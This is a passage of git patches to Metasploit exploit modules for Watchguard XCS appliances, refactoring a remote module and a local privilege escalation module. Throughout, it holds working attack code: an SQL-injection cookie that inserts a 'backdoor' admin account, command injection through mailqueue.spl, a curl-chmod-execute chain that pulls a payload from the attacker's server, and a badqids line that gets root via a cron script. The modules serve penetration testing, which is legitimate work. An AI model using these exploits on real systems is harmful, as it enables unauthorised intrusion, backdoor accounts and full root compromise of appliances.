vprint_status("Creating dummy file...") - send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, touch_cmd) - - #Put the shell injection line into badqids - setup_privesc = "echo \"../../../../../../tmp/#{dummy_filename};/tmp/#{filename}\" > /var/tmp/badqids" - send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, setup_privesc, true) - - #Need both these files to exploit privesc, delete them once shell opened - register_file_for_cleanup("/var/tmp/badqids") - register_file_for_cleanup("/tmp/#{dummy_filename}") - - #Wait for crontab to run vulnerable script - print_status("Badqids created, waiting for vulnerable script to be called by crontab...") - select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run - print_status("Ran out of time, should have root shell by now.") - - end - def generate_device_hash(cleartext_password) #Generates the specific hashes needed for the XCS pre_salt = "BorderWare " From 3dd917fd561f74de7e30d27779d14be68e280074 Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Thu, 24 Sep 2015 00:20:13 +1200 Subject: [PATCH 07/14] Altered the module to use the primer callback, and refactored some code to remove useless functions etc --- .../freebsd/http/watchguard_cmd_exec.rb | 140 +++++++++--------- 1 file changed, 66 insertions(+), 74 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 2f7b4b5058..7c94df4bfe 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -36,6 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, 'Privileged' => false, + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Watchguard XCS 9.2/10.0', { }] @@ -53,6 +54,7 @@ class Metasploit4 < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The target URI', '/']), OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']), OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), Opt::RPORT(443) ], self.class @@ -73,36 +75,18 @@ class Metasploit4 < Msf::Exploit::Remote def exploit - #Generate the password hash - pwd_clear = datastore['PASSWORD'] - pwd_hash = generate_device_hash(pwd_clear) - username = datastore['USERNAME'] - user_id = rand(999) - - sid_cookie = attempt_login(username, pwd_clear) - unless sid_cookie - vprint_status("Failed to login, attempting to add backdoor user...") - unless add_user(user_id, username, pwd_hash, pwd_clear) - fail_with(Failure::Unknown, "Failed to add user account to database.") - end - sid_cookie = attempt_login(username, pwd_clear) - unless (sid_cookie) - fail_with(Failure::Unknown, "Unable to login with user account.") - end - end + #Get a valid session by logging in or exploiting SQLi to add user + @sid = get_session #Check if cmd injection works - test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id") + test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id") unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/ - fail_with(Failure::UnexpectedReply, "Could not inject command") + fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable") end #We have cmd exec, stand up an HTTP server and deliver the payload vprint_status("Getting ready to drop binary on appliance") - downfile = rand_text_alpha(8+rand(8)) - vprint_status("File name is #{downfile}") - #Generate payload @pl = generate_payload_exe @elf_sent = false @@ -116,44 +100,11 @@ class Metasploit4 < Msf::Exploit::Remote end end - resource_uri = '/' + downfile - - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] + #Start the server and use primer to trigger fetching and running of the payload + begin + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error end - - service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - filename = rand_text_alpha_lower(8) - vprint_status("Asking the appliance to download #{service_url}") - - #Use the cmd exec to pull in shell - dnld_cmd1 = "/usr/local/sbin/curl -k #{service_url} -o /tmp/#{filename}" - vprint_status("Telling appliance to run #{dnld_cmd1}") - send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1) - register_file_for_cleanup("/tmp/#{filename}") - - #Wait for payload to be requested by appliance - wait_for_payload - - #Chmod the shell binary - chmod_cmd = "chmod +x /tmp/#{filename}" - vprint_status("Chmoding payload #{downfile}...") - send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) - - exec_cmd = "/tmp/#{filename}" - vprint_status("Running payload #{downfile}...") - send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) - end def attempt_login(username,pwd_clear) @@ -234,11 +185,14 @@ class Metasploit4 < Msf::Exploit::Remote return final_hash end - def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false) - #This is a handler function that makes HTTP calls to exploit the command injection issue + def send_cmd_exec(uri,os_cmd,blocking=false) + #This is a handler function that makes HTTP calls to exploit the command injection issue + unless @sid + fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.") + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{uri}"), - 'cookie' => "sid=#{sid_cookie}", + 'cookie' => "sid=#{@sid}", 'encode_params' => true, 'vars_get' => { 'f' => 'dnld', @@ -254,6 +208,56 @@ class Metasploit4 < Msf::Exploit::Remote return res end + def get_session + #Gets a valid login session, either valid creds or the SQLi vulnerability + username = datastore['USERNAME'] + pwd_clear = datastore['PASSWORD'] + user_id = rand(999) + + sid_cookie = attempt_login(username, pwd_clear) + unless sid_cookie + vprint_status("Failed to login, attempting to add backdoor user...") + pwd_hash = generate_device_hash(pwd_clear) + unless add_user(user_id, username, pwd_hash, pwd_clear) + fail_with(Failure::Unknown, "Failed to add user account to database.") + end + + sid_cookie = attempt_login(username, pwd_clear) + unless (sid_cookie) + fail_with(Failure::Unknown, "Unable to login with user account.") + end + + end + return sid_cookie + end + + #Make the server download the payload and run it + def primer + vprint_status("Primer hook called, make the server get and run exploit") + + #Gets the autogenerated uri from the mixin + payload_uri = get_uri + + filename = rand_text_alpha_lower(8) + print_status("Sending download request for #{payload_uri}") + + dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" + vprint_status("Telling appliance to run #{dnld_cmd1}") + send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1) + register_file_for_cleanup("/tmp/#{filename}") + + chmod_cmd = "chmod +x /tmp/#{filename}" + vprint_status("Chmoding the payload...") + send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd) + + exec_cmd = "/tmp/#{filename}" + vprint_status("Running the payload...") + send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true) + + + print_status("Finished primer hook") + end + #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") @@ -261,16 +265,4 @@ class Metasploit4 < Msf::Exploit::Remote @elf_sent = true send_response(cli, @pl) end - - #Wait for the data to be sent - def wait_for_payload - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > 10) - fail_with(Failure::Unknown, "Target didn't request the payload.") - end - end - end end From 52c4be7e8ea9d07f6b5fb9290e9147c81e74ed35 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 09:35:30 -0500 Subject: [PATCH 08/14] Fix description --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 7c94df4bfe..d6753a3c11 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -18,11 +18,11 @@ class Metasploit4 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Watchguard XCS Remote Command Execution', 'Description' => %q{ - This module exploits two seperate vulnerabilities found in the Watchguard XCS virtual appliance - to gain command execution. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert - a valid web user into the appliance database, and login to the web interface as this user. A - vulnerability in the web interface allows the attacker to inject operating system commands as the - 'nobody' user. The watchguard_local_root module can then be used for local privesc to root. + This module exploits two separate vulnerabilities found in the Watchguard XCS virtual + appliance to gain command execution. By exploiting an unauthenticated SQL injection, a + remote attacker may insert a valid web user into the appliance database, and get access + to the web interface. On the other hand, a vulnerability in the web interface allows the + attacker to inject operating system commands as the 'nobody' user. }, 'Author' => [ From b35da0d91d9ae5b436f33c1e0840bec0a9708cde Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 09:36:47 -0500 Subject: [PATCH 09/14] Avoid USERNAME and PASSWORD datastore options collisions --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index d6753a3c11..38b34f2fa7 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -52,8 +52,8 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The target URI', '/']), - OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']), - OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), + OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']), + OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), Opt::RPORT(443) ], @@ -210,8 +210,8 @@ class Metasploit4 < Msf::Exploit::Remote def get_session #Gets a valid login session, either valid creds or the SQLi vulnerability - username = datastore['USERNAME'] - pwd_clear = datastore['PASSWORD'] + username = datastore['WATCHGUARD_USER'] + pwd_clear = datastore['WATCHGUARD_PASSWORD'] user_id = rand(999) sid_cookie = attempt_login(username, pwd_clear) From 19b577b30a3f3a8776655009346c8cc6c6df47c6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 09:51:00 -0500 Subject: [PATCH 10/14] Do some code style fixes to watchguard_cmd_exec --- .../freebsd/http/watchguard_cmd_exec.rb | 100 +++++++++--------- 1 file changed, 50 insertions(+), 50 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 38b34f2fa7..08b18c55de 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -67,10 +67,12 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), 'cookie' => "sid=1'" }) + if res and res.body =~ /unterminated quoted string/ return Exploit::CheckCode::Vulnerable end - return Exploit::CheckCode::Safe + + Exploit::CheckCode::Safe end @@ -79,64 +81,56 @@ class Metasploit4 < Msf::Exploit::Remote @sid = get_session #Check if cmd injection works - test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id") - unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/ - fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable") + test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id') + unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534') + fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable') end #We have cmd exec, stand up an HTTP server and deliver the payload - vprint_status("Getting ready to drop binary on appliance") + vprint_status('Getting ready to drop binary on appliance') #Generate payload @pl = generate_payload_exe @elf_sent = false - waited = 0 - while (not @pl) - print_status("Waiting for payload to finish generating...") - select(nil,nil,nil,1) - waited += 1 - if (waited > 20) - fail_with(Failure::Unknown, "Unable to generate payload within a reasonable time.") - end - end #Start the server and use primer to trigger fetching and running of the payload begin - Timeout.timeout(datastore['HTTPDELAY']) {super} + Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end end - def attempt_login(username,pwd_clear) + def attempt_login(username, pwd_clear) #Attempts to login with the provided user credentials #Get the login page get_login_hash = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login.spl') + 'uri' => normalize_uri(target_uri.path, '/login.spl') }) unless get_login_hash and get_login_hash.body - fail_with(Failure::Unreachable, "Could not get login page.") + fail_with(Failure::Unreachable, 'Could not get login page.') end #Find the hash token needed to login login_hash = '' get_login_hash.body.each_line do |line| - next if line !~ /name="hash" value="(.*)"/ + next if line !~ /name="hash" value="(.*)"/ login_hash = $1 + break end sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' if login_hash == '' || sid_cookie == '' - fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") + fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie') end login_post = { 'u' => "#{username}", 'pwd' => "#{pwd_clear}", 'hash' => login_hash, - 'login' => "Login" + 'login' => 'Login' } - print_status("Attempting to login with provided credentials") + print_status('Attempting to login with provided credentials') login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/login.spl'), 'method' => 'POST', @@ -150,11 +144,12 @@ class Metasploit4 < Msf::Exploit::Remote unless login and login.body =~ /<title>Loading...<\/title>/ - return false + return nil end - print_status("Successfully logged in") - return sid_cookie + print_status('Successfully logged in') + + sid_cookie end def add_user(user_id, username, pwd_hash, pwd_clear) @@ -173,23 +168,26 @@ class Metasploit4 < Msf::Exploit::Remote else fail_with(Failure::UnexpectedReply, "Unable to add user to database") end - return true + + true end def generate_device_hash(cleartext_password) #Generates the specific hashes needed for the XCS - pre_salt = "BorderWare " - post_salt = " some other random (9) stuff" + pre_salt = 'BorderWare ' + post_salt = ' some other random (9) stuff' hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt) final_hash = Rex::Text.md5(cleartext_password + hash_tmp) - return final_hash + + final_hash end - def send_cmd_exec(uri,os_cmd,blocking=false) + def send_cmd_exec(uri, os_cmd, blocking = false) #This is a handler function that makes HTTP calls to exploit the command injection issue unless @sid - fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.") + fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.') end + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{uri}"), 'cookie' => "sid=#{@sid}", @@ -201,11 +199,11 @@ class Metasploit4 < Msf::Exploit::Remote }) #Handle cmd exec failures - if (!res and blocking == false) - fail_with(Failure::Unknown, "Failed to exploit command injection.") + if res.nil? && blocking == false + fail_with(Failure::Unknown, 'Failed to exploit command injection.') end - return res + res end def get_session @@ -216,24 +214,26 @@ class Metasploit4 < Msf::Exploit::Remote sid_cookie = attempt_login(username, pwd_clear) unless sid_cookie - vprint_status("Failed to login, attempting to add backdoor user...") + vprint_status('Failed to login, attempting to add backdoor user...') pwd_hash = generate_device_hash(pwd_clear) + unless add_user(user_id, username, pwd_hash, pwd_clear) - fail_with(Failure::Unknown, "Failed to add user account to database.") + fail_with(Failure::Unknown, 'Failed to add user account to database.') end sid_cookie = attempt_login(username, pwd_clear) - unless (sid_cookie) - fail_with(Failure::Unknown, "Unable to login with user account.") - end + unless sid_cookie + fail_with(Failure::Unknown, 'Unable to login with user account.') + end end - return sid_cookie + + sid_cookie end - #Make the server download the payload and run it + # Make the server download the payload and run it def primer - vprint_status("Primer hook called, make the server get and run exploit") + vprint_status('Primer hook called, make the server get and run exploit') #Gets the autogenerated uri from the mixin payload_uri = get_uri @@ -243,26 +243,26 @@ class Metasploit4 < Msf::Exploit::Remote dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" vprint_status("Telling appliance to run #{dnld_cmd1}") - send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1) + send_cmd_exec('/ADMIN/mailqueue.spl', dnld_cmd1) register_file_for_cleanup("/tmp/#{filename}") chmod_cmd = "chmod +x /tmp/#{filename}" - vprint_status("Chmoding the payload...") - send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd) + vprint_status('Chmoding the payload...') + send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd) exec_cmd = "/tmp/#{filename}" - vprint_status("Running the payload...") - send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true) + vprint_status('Running the payload...') + send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, true) - - print_status("Finished primer hook") + vprint_status('Finished primer hook') end #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") - print_status("Sending the payload to the server...") + print_status('Sending the payload to the server...') @elf_sent = true send_response(cli, @pl) end + end From 890ac92957fa54a53c0c9fd47fcce7c4f4fe598d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 10:10:08 -0500 Subject: [PATCH 11/14] Warn about incorrect payload --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 08b18c55de..0cddf27893 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -31,7 +31,7 @@ class Metasploit4 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] ], 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, @@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Remote 'cookie' => "sid=1'" }) - if res and res.body =~ /unterminated quoted string/ + if res && res.body && res.body.include?('unterminated quoted string') return Exploit::CheckCode::Vulnerable end @@ -89,9 +89,13 @@ class Metasploit4 < Msf::Exploit::Remote #We have cmd exec, stand up an HTTP server and deliver the payload vprint_status('Getting ready to drop binary on appliance') + @elf_sent = false #Generate payload @pl = generate_payload_exe - @elf_sent = false + + if @pl.nil? + fail_with(Failure::BadConfig, 'Please select a native bsd payload') + end #Start the server and use primer to trigger fetching and running of the payload begin From e87d99a65f6aa2b35dcbfa119e60f1b0bac9feba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 10:45:19 -0500 Subject: [PATCH 12/14] Fixing blocking option --- .../freebsd/http/watchguard_cmd_exec.rb | 74 ++++++++++--------- 1 file changed, 41 insertions(+), 33 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 0cddf27893..c48c552383 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -77,27 +77,29 @@ class Metasploit4 < Msf::Exploit::Remote def exploit - #Get a valid session by logging in or exploiting SQLi to add user + # Get a valid session by logging in or exploiting SQLi to add user + print_status('Getting a valid session...') @sid = get_session + print_status('Successfully logged in') - #Check if cmd injection works + # Check if cmd injection works test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id') unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534') fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable') end - #We have cmd exec, stand up an HTTP server and deliver the payload + # We have cmd exec, stand up an HTTP server and deliver the payload vprint_status('Getting ready to drop binary on appliance') @elf_sent = false - #Generate payload + # Generate payload @pl = generate_payload_exe if @pl.nil? fail_with(Failure::BadConfig, 'Please select a native bsd payload') end - #Start the server and use primer to trigger fetching and running of the payload + # Start the server and use primer to trigger fetching and running of the payload begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error @@ -111,7 +113,7 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, '/login.spl') }) - unless get_login_hash and get_login_hash.body + unless get_login_hash && get_login_hash.body fail_with(Failure::Unreachable, 'Could not get login page.') end @@ -147,12 +149,10 @@ class Metasploit4 < Msf::Exploit::Remote }) - unless login and login.body =~ /<title>Loading...<\/title>/ + unless login && login.body && login.body.include?('<title>Loading...') return nil end - print_status('Successfully logged in') - sid_cookie end @@ -163,14 +163,14 @@ class Metasploit4 < Msf::Exploit::Remote 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--" }) - unless res and res.body + unless res && res.body fail_with(Failure::Unreachable, "Could not connect to host") end - if res.body =~ /ERROR: duplicate key value violates unique constraint/ + if res.body.include?('ERROR: duplicate key value violates unique constraint') print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}") else - fail_with(Failure::UnexpectedReply, "Unable to add user to database") + fail_with(Failure::UnexpectedReply, 'Unable to add user to database') end true @@ -186,13 +186,13 @@ class Metasploit4 < Msf::Exploit::Remote final_hash end - def send_cmd_exec(uri, os_cmd, blocking = false) + def send_cmd_exec(uri, os_cmd, blocking = true) #This is a handler function that makes HTTP calls to exploit the command injection issue unless @sid fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.') end - res = send_request_cgi({ + opts = { 'uri' => normalize_uri(target_uri.path, "#{uri}"), 'cookie' => "sid=#{@sid}", 'encode_params' => true, @@ -200,10 +200,16 @@ class Metasploit4 < Msf::Exploit::Remote 'f' => 'dnld', 'id' => ";#{os_cmd}" } - }) + } + + if blocking + res = send_request_cgi(opts) + else + res = send_request_cgi(opts, 1) + end #Handle cmd exec failures - if res.nil? && blocking == false + if res.nil? && blocking fail_with(Failure::Unknown, 'Failed to exploit command injection.') end @@ -217,19 +223,20 @@ class Metasploit4 < Msf::Exploit::Remote user_id = rand(999) sid_cookie = attempt_login(username, pwd_clear) + + return sid_cookie unless sid_cookie.nil? + + vprint_error('Failed to login, attempting to add backdoor user...') + pwd_hash = generate_device_hash(pwd_clear) + + unless add_user(user_id, username, pwd_hash, pwd_clear) + fail_with(Failure::Unknown, 'Failed to add user account to database.') + end + + sid_cookie = attempt_login(username, pwd_clear) + unless sid_cookie - vprint_status('Failed to login, attempting to add backdoor user...') - pwd_hash = generate_device_hash(pwd_clear) - - unless add_user(user_id, username, pwd_hash, pwd_clear) - fail_with(Failure::Unknown, 'Failed to add user account to database.') - end - - sid_cookie = attempt_login(username, pwd_clear) - - unless sid_cookie - fail_with(Failure::Unknown, 'Unable to login with user account.') - end + fail_with(Failure::Unknown, 'Unable to login with user account.') end sid_cookie @@ -245,9 +252,9 @@ class Metasploit4 < Msf::Exploit::Remote filename = rand_text_alpha_lower(8) print_status("Sending download request for #{payload_uri}") - dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" - vprint_status("Telling appliance to run #{dnld_cmd1}") - send_cmd_exec('/ADMIN/mailqueue.spl', dnld_cmd1) + download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" + vprint_status("Telling appliance to run #{download_cmd}") + send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd) register_file_for_cleanup("/tmp/#{filename}") chmod_cmd = "chmod +x /tmp/#{filename}" @@ -256,9 +263,10 @@ class Metasploit4 < Msf::Exploit::Remote exec_cmd = "/tmp/#{filename}" vprint_status('Running the payload...') - send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, true) + send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false) - vprint_status('Finished primer hook') + vprint_status('Finished primer hook, raising Timeout::Error manually') + raise(Timeout::Error) end #Handle incoming requests from the server From 6b46316a56230520903e7a13fcca772c9dffb253 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 11:35:21 -0500 Subject: [PATCH 13/14] Do watchguard_local_privesc code cleaning --- .../freebsd/misc/watchguard_local_privesc.rb | 50 +++++++++++-------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb index b8d37f80dc..e7e2edd748 100644 --- a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb +++ b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb @@ -7,7 +7,10 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Local - Rank = ExcellentRanking + # It needs 3 minutes wait time + # WfsDelay set to 180, so it should be a Manual exploit, + # to avoid it being included in automations + Rank = ManualRanking include Msf::Exploit::EXE include Msf::Post::File @@ -27,68 +30,73 @@ class Metasploit4 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'References' => [ - ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] ], 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, - 'SessionTypes' => [ 'shell' ], - 'Privileged' => false, + 'SessionTypes' => ['shell'], + 'Privileged' => true, 'Targets' => [ [ 'Watchguard XCS 9.2/10.0', { }] ], + 'DefaultOptions' => { 'WfsDelay' => 180 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 29 2015' )) end + def setup + @pl = generate_payload_exe + if @pl.nil? + fail_with(Failure::BadConfig, 'Please select a native bsd payload') + end + + super + end + def check #Basic check to see if the device is a Watchguard XCS res = cmd_exec('uname -a') - return Exploit::CheckCode::Appears if res =~ /support-xcs@watchguard.com/ + return Exploit::CheckCode::Detected if res && res.include?('support-xcs@watchguard.com') Exploit::CheckCode::Safe end def upload_payload - #Generates and uploads the payload to the device fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}" - @pl = generate_payload_exe + write_file(fname, @pl) - return nil if not file_exist?(fname) + return nil unless file_exist?(fname) cmd_exec("chmod +x #{fname}") - return fname + + fname end def exploit - print_status("Rooting can take up to 3 minutes.") + print_warning('Rooting can take up to 3 minutes.') #Generate and upload the payload filename = upload_payload - fail_with(Failure::NotFound, "Payload failed to upload") if filename.nil? + fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil? print_status("Payload #{filename} uploaded.") #Sets up empty dummy file needed for privesc dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}" cmd_exec("touch #{dummy_filename}") - vprint_status("Added dummy file") + vprint_status('Added dummy file') #Put the shell injection line into badqids #setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids" - badqids = write_file("/var/tmp/badqids","../../../../../..#{dummy_filename};#{filename}") - fail_with(Failure::NotFound, "Failed to create badqids file to exploit crontab") if badqids.nil? - print_status("Badqids created, waiting for vulnerable script to be called by crontab...") + badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}") + fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil? + print_status('Badqids created, waiting for vulnerable script to be called by crontab...') #cmd_exec(setup_privesc) #Cleanup the files we used - register_file_for_cleanup("/var/tmp/badqids") + register_file_for_cleanup('/var/tmp/badqids') register_file_for_cleanup(dummy_filename) register_file_for_cleanup(filename) - - #Wait for crontab to run vulnerable script - select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run - print_status("Ran out of time, should have root shell by now.") - end end From c8880e8ad6f57830116cf1673d0b79cfe7dbf368 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 11:37:38 -0500 Subject: [PATCH 14/14] Move local exploit to correct location --- .../watchguard_fix_corrupt_mail.rb} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename modules/exploits/freebsd/{misc/watchguard_local_privesc.rb => local/watchguard_fix_corrupt_mail.rb} (93%) diff --git a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb similarity index 93% rename from modules/exploits/freebsd/misc/watchguard_local_privesc.rb rename to modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb index e7e2edd748..82ae226b16 100644 --- a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb +++ b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb @@ -18,10 +18,10 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Watchguard XCS Local Privilege Escalation', + 'Name' => 'Watchguard XCS FixCorruptMail Local Privilege Escalation', 'Description' => %q{ - This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called by root's crontab - which can be exploited to run a command as root within 3 minutes. + This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called + by root's crontab which can be exploited to run a command as root within 3 minutes. }, 'Author' => [